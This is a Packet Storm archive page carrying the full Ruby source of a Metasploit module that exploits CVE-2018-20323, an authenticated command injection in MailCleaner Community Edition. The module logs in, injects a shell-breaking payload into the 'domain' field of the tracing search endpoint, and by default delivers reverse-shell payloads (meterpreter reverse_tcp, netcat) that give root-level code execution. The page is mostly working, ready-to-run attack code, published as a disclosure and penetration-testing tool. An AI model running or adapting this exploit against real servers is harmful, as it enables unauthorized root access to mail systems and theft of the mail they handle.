exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Mailcleaner Remote Code Execution

Mailcleaner Remote Code Execution
Posted Jan 8, 2019
Authored by Mehmet Ince | Site metasploit.com

This Metasploit module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root. /admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability.

tags | exploit, web, root
advisories | CVE-2018-20323
SHA-256 | 9be39a4bc9f67632a6a5377d1cf086a107e68b119a124c2b425f517817903bb6

Mailcleaner Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Mailcleaner Remote Code Execution",
'Description' => %q{
This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an
operating system command under the context of the web server user which is root.

/admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/'],
['CVE', '2018-20323']
],
'DefaultOptions' =>
{
'SSL' => true,
'WfsDelay' => 5,
},
'Platform' => ['python', 'unix'],
'Arch' => [ ARCH_PYTHON, ARCH_CMD ],
'Targets' =>
[
['Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'}
}
],
['Command payload',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {'BadChars' => "\x26"},
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'}
}
]
],
'Privileged' => false,
'DisclosureDate' => "Dec 19 2018",
'DefaultTarget' => 0
))

register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with'])
]
)
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def auth
print_status('Performing authentication...')

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin/')
})

if res && !res.get_cookies.empty?
cookie = res.get_cookies
else
fail_with(Failure::UnexpectedReply, 'Did not get cookie-set header from response.')
end

# Performing authentication
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin/'),
'cookie' => cookie,
'vars_post' => {
'username' => username,
'password' => password,
'submit' => 'Log+in'
}
})

if res && res.code == 302
print_good("Awesome..! Authenticated with #{username}:#{password}")
else
fail_with(Failure::NoAccess, 'Credentials are not valid.')
end

cookie
end

def exploit
cookie = auth

if cookie.nil?
fail_with(Failure::Unknown, 'Something went wrong!')
end

print_status('Exploiting command injection flaw')

if target['Arch'] == ARCH_PYTHON
cmd = "';$(python -c \"#{payload.encoded}\");#"
else
cmd = "';#{payload.encoded};#"
end

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'managetracing', 'search', 'search'),
'cookie' => cookie,
'vars_post' => {
'search' => rand_text_alpha(5),
'domain' => cmd,
'submit' => 1
}
})

end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close